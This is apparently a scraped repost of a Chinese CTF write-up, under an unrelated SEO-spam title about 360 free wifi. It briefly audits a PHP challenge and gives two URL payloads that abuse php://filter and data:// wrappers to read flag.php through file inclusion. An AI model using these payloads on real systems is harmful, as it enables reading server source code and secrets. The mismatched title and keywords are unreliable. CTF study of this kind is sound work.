当前位置: 首页> 房产> 家装 > 360免费wifi无法在win10下正常运行_免费连接wifi的软件_搜索引擎收录_黄冈网站推广

360免费wifi无法在win10下正常运行_免费连接wifi的软件_搜索引擎收录_黄冈网站推广

时间:2025/7/10 17:56:27来源:https://blog.csdn.net/m0_74138139/article/details/145909116 浏览次数:0次
360免费wifi无法在win10下正常运行_免费连接wifi的软件_搜索引擎收录_黄冈网站推广

上来就是一段代码审计,浅分析一下

加载 flag.php 文件(可能包含敏感信息)。
高亮显示当前文件的源码。
检查用户是否传递了 file1 和 file2 参数。
检查 file1 和 file2 是否为空。
读取 file2 文件的内容,检查是否等于 "hello ctf"。
如果条件满足,加载 file1 指定的文件并执行。

这里第一时间想到用伪协议读取flag文件

/?file1=php://filter/convert.base64-encode/resource=flag.php&file2=data://text/plain,hello%20ctf

PHP-伪协议_php伪协议读取文件-CSDN博客php为协议推荐这篇

这里用的是base64加密,也可直接用utf-8,出现flag

/?file1=php://filter/convert.iconv.UTF-8*.UTF-32LE*/resource=flag.php&file2=data://text/plain,hello%20ctf

关键字:360免费wifi无法在win10下正常运行_免费连接wifi的软件_搜索引擎收录_黄冈网站推广

版权声明:

本网仅为发布的内容提供存储空间,不对发表、转载的内容提供任何形式的保证。凡本网注明“来源:XXX网络”的作品,均转载自其它媒体,著作权归作者所有,商业转载请联系作者获得授权,非商业转载请注明出处。

我们尊重并感谢每一位作者,均已注明文章来源和作者。如因作品内容、版权或其它问题,请及时与我们联系,联系邮箱:809451989@qq.com,投稿邮箱:809451989@qq.com

责任编辑: